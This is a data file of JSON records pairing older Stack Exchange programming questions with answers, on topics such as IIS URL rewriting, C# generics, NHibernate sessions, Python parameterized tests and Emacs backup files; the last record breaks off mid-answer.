{"id": "hf_757b3bb27d3c", "question": "<p>Is there some way I can use URLs like: </p>\n\n<p><em><a href=\"http://www.blog.com/team-spirit/\" rel=\"nofollow noreferrer\">http://www.blog.com/team-spirit/</a></em></p>\n\n<p>instead of</p>\n\n<p><em><a href=\"http://www.blog.com/?p=122\" rel=\"nofollow noreferrer\">http://www.blog.com/?p=122</a></em></p>\n\n<p>in a Windows hosted PHP server?</p>\n", "question_body": "", "answer": "This is how I did it with WordPress on IIS 6.0\nhttp://www.coderjournal.com/2008/02/url-rewriter-reverse-proxy-iis-wordpress/\nHowever it all depends on what version of IIS you are using.  If you are lucky enough to use IIS 7.0 you don't really have to worry about pretty urls because everything is supported out of the box.  However if you are using IIS 6.0 you are going to have to use a rewriter and some rules to force the IISness out of IIS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.443135"}
{"id": "hf_5c7e820edcbd", "question": "<p>Is there an easy way to discover a File's creation time with Java?  The File class only has a method to get the \"last modified\" time.  According to some resources I found on Google, the File class doesn't provide a getCreationTime() method because not all file systems support the idea of a creation time.</p>\n\n<p>The only working solution I found involes shelling out the the command line and executing the \"dir\" command, which looks like it outputs the file's creation time.  I guess this works, I only need to support Windows, but it seems very error prone to me.</p>\n\n<p>Are there any third party libraries that provide the info I need?</p>\n\n<p><strong>Update:</strong> In the end, I don't think it's worth it for me to buy the third party library, but their API does seem pretty good so it's probably a  good choice for anyone else that has this problem. </p>\n", "question_body": "", "answer": "I like the answer on\njGuru\nthat lists the option of using\nJNI\nto get the answer. This might prove to be faster than shelling out and you may encounter other situations such as this that need to be implemented specifically for windows.\nAlso, if you ever need to port to a different platform, then you can port your library as well and just have it return -1 for the answer to this question on *ix.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.466841"}
{"id": "hf_23fc09af114c", "question": "<p>What are the best practices in setting up a new instance of TFS 2008 Workgroup edition?  </p>\n\n<p>Specifically, the constraints are as follows:</p>\n\n<ul>\n<li>Must install on an existing Windows Server 2008 64 bit</li>\n<li>TFS application layer is 32 bit only</li>\n</ul>\n\n<p>Should I install SQL Server 2008, Sharepoint and the app layer in a virtual instance of Windows Server 2008 or 2003(I am already running Hyper-V) or split the layers with a database on the host OS and the app layer in a virtual machine?</p>\n\n<p>Edit: Apparently, splitting the layers is <a href=\"http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=3501572&amp;SiteID=1\" rel=\"nofollow noreferrer\">not</a> recommended  </p>\n", "question_body": "", "answer": "I just upgraded our team to TFS 2008, from TFS 2005. The hardest part was upgrading SharePoint 2.0 to 3.0, so I would make sure to do that first, if you have not already installed TFS 2008. We had a couple of other difficulties, but they were all either related to the SharePoint upgrade, or to the fact that we were using an aftermarket Policy package - Scrum for TeamSystem. We are on SQL Server 2005, so I cannot address SQL Server 2008. As for  splitting the layers, we did not do this either, as we are running on                          Windows Server 2003 and everything ran under the host OS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.491119"}
{"id": "hf_cd26e62af6ad", "question": "<p>I'm new to NHibernate (my 1st big project with it).<br>\nI had been using a simple method of data access by creating the ISession object within a using block to do my grab my Object or list of Objects, and in that way the session was destroyed after exiting the code block.  </p>\n\n<p>This doesn't work in a situation where lazy-loading is required, however.<br>\nFor example, if I have a Customer object that has a property which is a collection of Orders, then when the lazy-load is attempted, I get a Hibernate exception.<br>\nAnyone using a different method?</p>\n", "question_body": "", "answer": "Keep your session open for your entire unit of work.  If your session is life is too small, you cannot benefit from the session level cache (which is significant).  Any time you can prevent a roundtrip to the database is going to save a lot of time.   You also cannot take advantage of lazy loading, which is crucial to understand.\nIf your session lifetime is too big, you can run into other issues.\nIf this is a web app, you'll probably do fine with the session-per-httpRequest pattern.  Basically this is an HttpModule that opens the session at the beginning of the request and flushes/closes at the end.  Be sure to store the session in HttpContext.Items  NOT A STATIC VARIABLE.  <--- leads to all kinds of problems that you don't want to deal with.\nYou might also look at\nRhinoCommons\nfor a unit of work implementation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.537193"}
{"id": "hf_7d745acaefa2", "question": "<p>I'm trying to find the latitude and longitude of the corners of my map while in birdseye view.  I want to be able to plot pins on the map, but I have hundreds of thousands of addresses that I want to be able to limit to the ones that need to show on the map.</p>\n\n<p>In normal view, VEMap.GetMapView().TopLeftLatLong and .BottomRightLatLong return the coordinates I need; but in Birdseye view they return blank (or encrypted values).  The SDK recommends using VEBirdseyeScene.GetBoundingRectangle(), but this returns bounds of up to two miles from the center of my scene which in major cities still returns way too many addresses.</p>\n\n<p>In previous versions of the VE Control, there was an undocumented VEDecoder object I could use to decrypt the LatLong values for the birdseye scenes, but this object seems to have disappeared (probably been renamed).  How can I decode these values in version 6.1?</p>\n", "question_body": "", "answer": "According to\nhttp://dev.live.com/virtualearth/sdk/\nthis should do the trick:\n```\n```\nfunction GetInfo()         \n{\n  alert('The latitude,longitude at the center of the map is: '+map.GetCenter());         \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.562141"}
{"id": "hf_16e7e840410b", "question": "<p>I am consuming the Twitter API and want to convert all URLs to hyperlinks. </p>\n\n<p>What is the most effective way you've come up with to do this?</p>\n\n<p>from</p>\n\n<pre><code>string myString = \"This is my tweet check it out http://tinyurl.com/blah\";\n</code></pre>\n\n<p>to</p>\n\n<pre><code>This is my tweet check it out &lt;a href=\"http://tinyurl.com/blah\"&gt;http://tinyurl.com/&gt;blah&lt;/a&gt;\n</code></pre>\n", "question_body": "", "answer": "Regular expressions are probably your friend for this kind of task:\n```\n```\nRegex r = new Regex(@\"(https?://[^\\s]+)\");\nmyString = r.Replace(myString, \"<a href=\\\"$1\\\">$1</a>\");\n```\n```\nThe regular expression for matching URLs might need a bit of work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.606210"}
{"id": "hf_b93005995d39", "question": "<p>So the controller context depends on some asp.net internals. What are some ways to cleanly mock these up for unit tests? Seems like its very easy to clog up tests with tons of setup when I only need, for example, Request.HttpMethod to return \"GET\".</p>\n\n<p>I've seen some examples/helpers out on the nets, but some are dated. Figured this would be a good place to keep the latest and greatest.</p>\n\n<p>I'm using latest version of rhino mocks</p>\n", "question_body": "", "answer": "Using MoQ it looks something like this:\n```\n```\nvar request = new Mock<HttpRequestBase>();\nrequest.Expect(r => r.HttpMethod).Returns(\"GET\");\nvar mockHttpContext = new Mock<HttpContextBase>();\nmockHttpContext.Expect(c => c.Request).Returns(request.Object);\nvar controllerContext = new ControllerContext(mockHttpContext.Object\n, new RouteData(), new Mock<ControllerBase>().Object);\n```\n```\nI think the Rhino Mocks syntax is similar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.631268"}
{"id": "hf_fe69216c5b22", "question": "<p>Where can I find a good tutorial on learning ASP.NET MVC using VB.net 2008 as the language? Most in-depth tutorials that I found in searching the web were written in C#.</p>\n", "question_body": "", "answer": "Have you tried adding the word \"VB\" to your searches??\nhttp://www.myvbprof.com/2007_Version/MVC_Intro_Tutorial.aspx\nhttp://www.asp.net/learn/mvc/tutorial-07-vb.aspx\n<\nLink\n>", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.655738"}
{"id": "hf_de3572a356ef", "question": "<p>When making changes using <code>SubmitChanges()</code>, LINQ sometimes dies with a <code>ChangeConflictException</code> exception with the error message <code>Row not found or changed</code>, without any indication of either the row that has the conflict or the fields with changes that are in conflict, when another user has changed some data in that row.</p>\n\n<p>Is there any way to determine which row has a conflict and which fields they occur in, and also is there a way of getting LINQ to ignore the issue and simply commit the data regardless?</p>\n\n<p>Additionally, does anybody know whether this exception occurs when <em>any</em> data in the row has changed, or only when data has been changed in a field that LINQ is attempting to alter?</p>\n", "question_body": "", "answer": "I've gotten this error in a circumstance completely unrelated to what the error message describes.\nWhat I did was load a LINQ object via one DataContext, and then tried to SubmitChanges() for the object via a different DataContext - gave this exact same error.\nWhat I had to do was call DataContext.Table.Attach(myOldObject), and then call SubmitChanges(), worked like a charm.\nWorth a look, especially if you're of the opinion that there really shouldn't be any conflicts at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.692804"}
{"id": "hf_66e4623a7063", "question": "<p>Can anyone tell me if there is a way with generics to limit a generic type argument <code>T</code> to only:</p>\n\n<ul>\n<li><code>Int16</code></li>\n<li><code>Int32</code></li>\n<li><code>Int64</code></li>\n<li><code>UInt16</code></li>\n<li><code>UInt32</code></li>\n<li><code>UInt64</code></li>\n</ul>\n\n<p>I'm aware of the <code>where</code> keyword, but can't find an interface for <strong>only</strong> these types,</p>\n\n<p>Something like:</p>\n\n<pre><code>static bool IntegerFunction&lt;T&gt;(T value) where T : INumeric \n</code></pre>\n", "question_body": "", "answer": "There's no constraint for this. It's a real issue for anyone wanting to use generics for numeric calculations.\nI'd go further and say we need\n```\n```\nstatic bool GenericFunction<T>(T value) \n    where T : operators( +, -, /, * )\n```\n```\nOr even\n```\n```\nstatic bool GenericFunction<T>(T value) \n    where T : Add, Subtract\n```\n```\nUnfortunately you only have interfaces, base classes and the keywords\n```\nstruct\n```\n(must be value-type),\n```\nclass\n```\n(must be reference type) and\n```\nnew()\n```\n(must have default constructor)\nYou could wrap the number in something else (similar to\n```\nINullable<T>\n```\n) like\nhere on codeproject\n.\nYou could apply the restriction at runtime (by reflecting for the operators or checking for types) but that does lose the advantage of having the generic in the first place.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.717649"}
{"id": "hf_42455a6d6076", "question": "<p>How do I get today's date in C# in mm/dd/yyyy format?</p>\n\n<p>I need to set a string variable to today's date (preferably without the year), but there's got to be a better way than building it month-/-day one piece at a time.</p>\n\n<p>BTW: I'm in the US so M/dd would be correct, e.g. September 11th is 9/11.</p>\n\n<p><em>Note: an answer from kronoz came in that discussed internationalization, and I thought it was awesome enough to mention since I can't make it an 'accepted' answer as well.</em></p>\n\n<p><a href=\"https://stackoverflow.com/questions/32747/how-do-i-get-todays-date-in-c-in-8282008-format#32819\" title=\"kronoz&#39;s answer\">kronoz's answer</a></p>\n", "question_body": "", "answer": "```\n```\nDateTime.Now.ToString(\"M/d/yyyy\");\n```\n```\nhttp://msdn.microsoft.com/en-us/library/8kb3ddd4.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.855600"}
{"id": "hf_a8c51309c0f0", "question": "<p>I'm using an older version of ASP.NET AJAX due to runtime limitations, Placing a ASP.NET Validator inside of an update panel does not work. Is there a trick to make these work, or do I need to use the ValidatorCallOut control that comes with the AJAX toolkit?</p>\n", "question_body": "", "answer": "@jmein\nActually the problem is that the Validator client script's don't work when placed inside of an updatePanel (UpdatePanels refresh using .innerHTML, which adds the script nodes as text nodes, not script nodes, so the browser does not run them).\nThe fix was a patch released by microsoft that fixes this issue. I found it with the help of Google.\nhttp://blogs.msdn.com/mattgi/archive/2007/01/23/asp-net-ajax-validators.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.942489"}
{"id": "hf_69f971b1a934", "question": "<p>So I'm interested in hearing different thoughts about what is the best way to go about unit testing XNA Game/Applications.  Astute googlers can probably figure out why I'm asking, but I didn't want to bias the topic :-)</p>\n", "question_body": "", "answer": "I would that this question is geared more toward the approach of\nunit testing in game development\n.  I mean, XNA is a framework.  Plug in\nNUnit\n, and begin writing test cases while you develop.\nHere\nis a post on SO about unit testing a game.  It'll give you a little insight into how you need to think while progressing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.979544"}
{"id": "hf_b92e5845df36", "question": "<p>I've got a problem where incoming SOAP messages from one particular client are being marked as invalid and rejected by our XML firewall device. It appears extra payload data is being inserted by Visual Studio; we're thinking the extra data may be causing a problem b/c we're seeing \"VsDebuggerCausalityData\" in these messages but not in others sent from a different client who is not having a problem. It's a starting point, anyway.</p>\n\n<p>The question I have is how can the client remove this extra data and still run from VS? Why is VS putting it in there at all?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "A quick google reveals that this should get rid of it, get them to add it to the web.config or app.config for their application.\n```\n```\n<configuration>\n  <system.diagnostics>\n    <switches>\n       <add name=\"Remote.Disable\" value=\"1\" />\n    </switches>\n  </system.diagnostics>\n</configuration>\n```\n```\nThe information is debug information that the receiving service can use to help trace things back to the client.  (maybe, I am guessing a little)\nI have proposed a follow up\nquestion\nto determine were the magic switch actually comes from.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.051967"}
{"id": "hf_87a1a943db0f", "question": "<p>This question would probably apply equally as well to other languages with C-like multi-line comments. Here's the problem I'm encountering. I'm working with Java code in Eclipse, and I wanted to comment out a block of code. However, there is a string that contains the character sequence \"*/\", and Eclipse thinks that the comment should end there, even though it is inside a string. It gives me tons of errors and fails to build.</p>\n\n<pre><code>/*\n   ... some Java code ...\n   ... \"... */ ...\" ...\n   ... more Java code ...\n*/\n</code></pre>\n\n<p>Does the Java specification match with Eclipse's interpretation of my multi-line comment? I would like to think that Java and/or Eclipse would account for this sort of thing.</p>\n", "question_body": "", "answer": "Eclipse is correct. There is no interpretation context inside a comment (no escaping, etc). See\nJLS §3.7\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.075655"}
{"id": "hf_fc6db83f36cf", "question": "<p>I have some kind of test data and want to create a unit test for each item. My first idea was to do it like this:</p>\n<pre><code>import unittest\n\nl = [[&quot;foo&quot;, &quot;a&quot;, &quot;a&quot;,], [&quot;bar&quot;, &quot;a&quot;, &quot;b&quot;], [&quot;lee&quot;, &quot;b&quot;, &quot;b&quot;]]\n\nclass TestSequence(unittest.TestCase):\n    def testsample(self):\n        for name, a,b in l:\n            print &quot;test&quot;, name\n            self.assertEqual(a,b)\n\nif __name__ == '__main__':\n    unittest.main()\n</code></pre>\n<p>The downside of this is that it handles all data in one test. I would like to generate one test for each item on the fly. Any suggestions?</p>\n", "question_body": "", "answer": "This is called \"parametrization\".\nThere are several tools that support this approach. E.g.:\npytest's decorator\nparameterized\nThe resulting code looks like this:\n```\n```\nfrom parameterized import parameterized\n\nclass TestSequence(unittest.TestCase):\n    @parameterized.expand([\n        [\"foo\", \"a\", \"a\",],\n        [\"bar\", \"a\", \"b\"],\n        [\"lee\", \"b\", \"b\"],\n    ])\n    def test_sequence(self, name, a, b):\n        self.assertEqual(a,b)\n```\n```\nWhich will generate the tests:\n```\n```\ntest_sequence_0_foo (__main__.TestSequence) ... ok\ntest_sequence_1_bar (__main__.TestSequence) ... FAIL\ntest_sequence_2_lee (__main__.TestSequence) ... ok\n\n======================================================================\nFAIL: test_sequence_1_bar (__main__.TestSequence)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n  File \"/usr/local/lib/python2.7/site-packages/parameterized/parameterized.py\", line 233, in <lambda>\n    standalone_func = lambda *a: func(*(a + p.args), **p.kwargs)\n  File \"x.py\", line 12, in test_sequence\n    self.assertEqual(a,b)\nAssertionError: 'a' != 'b'\n```\n```\nFor historical reasons I'll leave the original answer circa 2008):\nI use something like this:\n```\n```\nimport unittest\n\nl = [[\"foo\", \"a\", \"a\",], [\"bar\", \"a\", \"b\"], [\"lee\", \"b\", \"b\"]]\n\nclass TestSequense(unittest.TestCase):\n    pass\n\ndef test_generator(a, b):\n    def test(self):\n        self.assertEqual(a,b)\n    return test\n\nif __name__ == '__main__':\n    for t in l:\n        test_name = 'test_%s' % t[0]\n        test = test_generator(t[1], t[2])\n        setattr(TestSequense, test_name, test)\n    unittest.main()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.099151"}
{"id": "hf_8f7d451dd68d", "question": "<p>I'd like to render to svg data in a swf at runtime (not in Flex - not using degrafa) - how would I go about doing that?</p>\n", "question_body": "", "answer": "The Ajaxian blog had a post about this today.\nhttp://ajaxian.com/archives/the-state-of-svg-browser-support-using-flash-for-svg-in-internet-explorer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.123441"}
{"id": "hf_875e2c88ec48", "question": "<p>I'd like to add dvd burning functionality to my .Net app (running on Windows Server 2003), are there any good components available?  I've used the NeroCOM sdk that used to come with Nero but they no longer support the sdk in the latest versions of Nero.  I learned that Microsoft has created an IMAPI2 upgrade for Windows XP/2003 and there is an <a href=\"http://www.codeproject.com/KB/miscctrl/imapi2.aspx\" rel=\"nofollow noreferrer\">example project</a> at CodeProject but not having used it myself I can't say how easy/reliable it is to use.</p>\n\n<p>I'm not really worried about burning audio/video to DVD as this is for file backup purposes only.</p>\n", "question_body": "", "answer": "At my last job I was tasked with finding a cross platform and preferably free way to write our application specific files to cd/dvd.  I quickly found that writing CD's wasn't hard on windows, but I couldn't write DVD's easily, and that only worked on windows.\nI ended up writing a wrapper around\ncdrecord\ncdrecord is an open source project that builds easily with cygwin.  I would create a staging directory where I added the files that needed to be written, called mkisofs on that directory to make a cd iso, and then called cdrecord to burn the image.  This may not be the best solution if you have a strictly windows audience, but it was the only thing I could find that did window, Linux, and OS X.\nAnother option worht checking out is the\nStarBurn SDK\n, I download the trial and used it, it worked well, but in the end it wasn't free so it was too expensive for my purposes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.150667"}
{"id": "hf_874a3b3194f3", "question": "<p>In C# is there a shorthand way to write this:</p>\n\n<pre><code>public static bool IsAllowed(int userID)\n{\n    return (userID == Personnel.JohnDoe || userID == Personnel.JaneDoe ...);\n}\n</code></pre>\n\n<p>Like:</p>\n\n<pre><code>public static bool IsAllowed(int userID)\n{\n    return (userID in Personnel.JohnDoe, Personnel.JaneDoe ...);\n}\n</code></pre>\n\n<p>I know I could also use switch, but there are probably 50 or so functions like this I have to write (porting a classic ASP site over to ASP.NET) so I'd like to keep them as short as possible.</p>\n", "question_body": "", "answer": "I would encapsulate the list of allowed IDs as\ndata\nnot\ncode\n. Then it's source can be changed easily later on.\n```\n```\nList<int> allowedIDs = ...;\n\npublic bool IsAllowed(int userID)\n{\n    return allowedIDs.Contains(userID);\n}\n```\n```\nIf using .NET 3.5, you can use\n```\nIEnumerable\n```\ninstead of\n```\nList\n```\nthanks to extension methods.\n(This function shouldn't be static. See this posting:\nusing too much static bad or good ?\n.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.175173"}
{"id": "hf_fb50aa8fd860", "question": "<p>I'm using Ruby on Rails for an internal site. Different users of the site have access to a wide variety of data and highly disparate perspectives of the data. Within those different classes of users, there needs to be levels of access. Within the levels of access I need to be able to add features from other classes of users.</p>\n\n<p>In the released \"Version 1.0\" of the intranet site I have implemented the general classes of users. I am now needed to implement much finer-grained control of a users access.</p>\n\n<p>The question is how?</p>\n\n<p>What is the generally accepted practice for coding up user preferences (display the map (or not); access to this feature, but not this feature) without exploding the database schema and populating the view code with &lt;% if feature_allowed %> tags everywhere.</p>\n", "question_body": "", "answer": "Another totally different approach would be to use acts_as_authenticated and authorization plugins. The tables will be built by the plugins (ie\nusers\n,\nroles\nand\nroles\n_users). From the doc:\nThe authorization plugin provides the following:\nA simple way of checking authorization at either the class or instance method\nlevel using #permit and #permit?\nAuthorization using roles for the entire application, a model class, or an\ninstance of a model (i.e., a particular object).\nSome english-like dynamic methods that draw on the defined roles. You will be\nable to use methods like \"user.is_fan_of angelina\" or \"angelina.has_fans?\",\nwhere a 'fan' is only defined in the roles table.\nPick-and-choose a mixin for your desired level of database complexity. For\nall the features, you will want to use \"object roles table\" (see below)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.224561"}
{"id": "hf_ad6d62c06c64", "question": "<p>I know that if you have a loop that modifies the count of the items in the loop, using the NSEnumerator on a set is the best way to make sure your code blows up, however I would like to understand the performance tradeoffs between the NSEnumerator class and just an old school for loop</p>\n", "question_body": "", "answer": "They are very similar. With Objective-C 2.0 most enumerations now default to\n```\nNSFastEnumeration\n```\nwhich creates a buffer of the addresses to each object in the collection that it can then deliver. The one step that you save over the classic for loop is not having to call\n```\nobjectAtIndex:i\n```\neach time inside the loop. The internals of the collection you are enumerating implement fast enumeration with out calling\n```\nobjectAtIndex:i method\n```\n.\nThe buffer is part of the reason that you can't mutate a collection as you enumerate, the address of the objects will change and the buffer that was built will no longer match.\nAs a bonus the format in 2.0 looks as nice as the classic for loop:\n```\n```\nfor ( Type newVariable in expression ) { \n    stmts \n}\n```\n```\nRead the following documentaion to go deeper:\nNSFastEnumeration Protocol Reference", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.249612"}
{"id": "hf_bdd1cc8c57ed", "question": "<p>The leaving your wireless network open question reminded me of this.</p>\n\n<p>I typically share the root drive on my machines across my network, and tie login authorization to the machines NT ID, so there is at least some form of protection.</p>\n\n<p>My question, how easy is it to gain access to these drives for ill good? Is the authorization enough, or should I lock things down more?</p>\n", "question_body": "", "answer": "I can't answer the main question, but do keep in mind that Windows, by default, is always sharing the roots of your drives. Try:\n```\n```\n\\\\yourmachine\\c$\n```\n```\n(And then try not to freak out.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.274781"}
{"id": "hf_679e4e573474", "question": "<p>I have a very large code base that contains extensive unit tests (using CppUnit). <b>I need to work out what percentage of the code is exercised by these tests</b>, and (ideally) generate some sort of report that tells me on a per-library or per-file basis, how much of the code was exercised.</p>\n\n<p>Here's the kicker: this has to run completely unnatended (eventually inside a continuous integration build), and has to be cross platform (well, WIN32 and *nix at least).</p>\n\n<p>Can anyone suggest a tool, or set of tools that can help me do this? I can't change away from CppUnit (nor would I want to - it kicks ass), but otherwise I'm eager to hear any recommendations you might have.</p>\n\n<p>Cheers,</p>\n", "question_body": "", "answer": "Which tool should I use?\nThis\narticle describes\nanother developers frustrations searching for C++ code coverage tools.  The author's final solution was\nBullseye Coverage\n.\nBullseye Coverage\nfeatures:\nCross Platform Support\n(win32, unix, and embedded), (supports linux gcc compilers and MSVC6)\nEasy to use\n(up and running in a few hours).\nProvides \"best\" metrics\n: Function Coverage and Condition/Decision Coverage.\nUses source code instrumentation.\nAs for hooking into your continuous integration, it depends on which CI solution you use, but you can likely hook the instrumentation / coverage measurement steps into the make file you use for automated testing.\nTesting Linux vs Windows?\nSo long as all your tests run correctly in both environments, you should be fine measuring coverage on one or the other.  (Though Bullseye appears\nto support both platforms\n).  But why aren't you doing continuous integration builds in both environments??  If you deliver to clients in both environments then you\nneed\nto be testing in both.\nFor that reason, it sounds like you might need to have two continuous build servers set up, one for a linux build and one for a windows build.  Perhaps this can be easily accomplished with some virtualization software like\nvmware\nor\nvirtualbox\n.  You may not need to run code coverage metrics on both OSs, but you should definitely be running your unit tests on both.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.312065"}
{"id": "hf_ada6b28e7e3f", "question": "<p>Suppose you have an ActiveRecord::Observer in one of your Ruby on Rails applications - how do you test this observer with rSpec?</p>\n", "question_body": "", "answer": "Disclaimer: I've never actually done this on a production site, but it looks like a reasonable way would be to use mock objects,\n```\nshould_receive\n```\nand friends, and invoke methods on the observer directly\nGiven the following model and observer:\n```\n```\nclass Person < ActiveRecord::Base\n  def set_status( new_status )\n    # do whatever\n  end\nend\n\nclass PersonObserver < ActiveRecord::Observer\n  def after_save(person)\n    person.set_status(\"aha!\")\n  end\nend\n```\n```\nI would write a spec like this (I ran it, and it passes)\n```\n```\ndescribe PersonObserver do\n  before :each do\n    @person = stub_model(Person)\n    @observer = PersonObserver.instance\n  end\n\n  it \"should invoke after_save on the observed object\" do\n    @person.should_receive(:set_status).with(\"aha!\")\n    @observer.after_save(@person)\n  end\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.336932"}
{"id": "hf_95ae279d3148", "question": "<p>How do I make <code>diff</code> ignore temporary files like <code>foo.c~</code>? Is there a configuration file that will make ignoring temporaries the default?</p>\n\n<p>More generally: what's the best way to generate a \"clean\" patch off a tarball? I do this rarely enough (submitting a bug fix to an OSS project by email) that I always struggle with it...</p>\n\n<p>EDIT: OK, the short answer is</p>\n\n<pre><code>diff -ruN -x *~ ...\n</code></pre>\n\n<p>Is there a better answer? E.g., can this go in a configuration file?</p>\n", "question_body": "", "answer": "This doesn't strictly answer your question, but you can avoid the problem by configuring Emacs to use a specific directory to keep the backup files in. There are different implementations for Emacs or XEmacs.\nIn GNU Emacs\n```\n(defvar user-temporary-file-directory\n      (concat temporary-file-directory user-login-name \"/\"))\n    (make-directory user-temporary-file-directory t)\n    (setq backup-by-copying t)\n    (setq backup-directory-alist\n      `((\".\" . ,user-temporary-file-directory)\n        (,tramp-file-name-regexp nil)))\n    (setq auto-save-list-file-prefix\n      (concat user-temporary-file-directory \".auto-saves-\"))\n    (setq auto-save-file-name-transforms\n      `((\".*\" ,user-temporary-file-directory t)))\n```\nIn XEmacs\n```\n(require 'auto-save) \n    (require 'backup-dir) \n\n    (defvar user-temporary-file-directory\n      (concat (temp-directory) \"/\" (user-login-name)))\n    (make-directory user-temporary-file-directory t)\n    (setq backup-by-copying t)\n    (setq auto-save-directory user-temporary-file-directory)\n    (setq auto-save-list-file-prefix \n         (concat user-temporary-file-directory \".auto-saves-\"))\n    (setq bkup-backup-directory-info\n      `((t ,user-temporary-file-directory full-path)))\n```\nYou can also remove them all with a simple find command\n```\nfind . -name “*~” -delete\n```\nNote that the asterisk and tilde are in double quotes to stop the shell expanding them.\nBy the way, these aren't strictly\ntemporary\nfiles. They are a 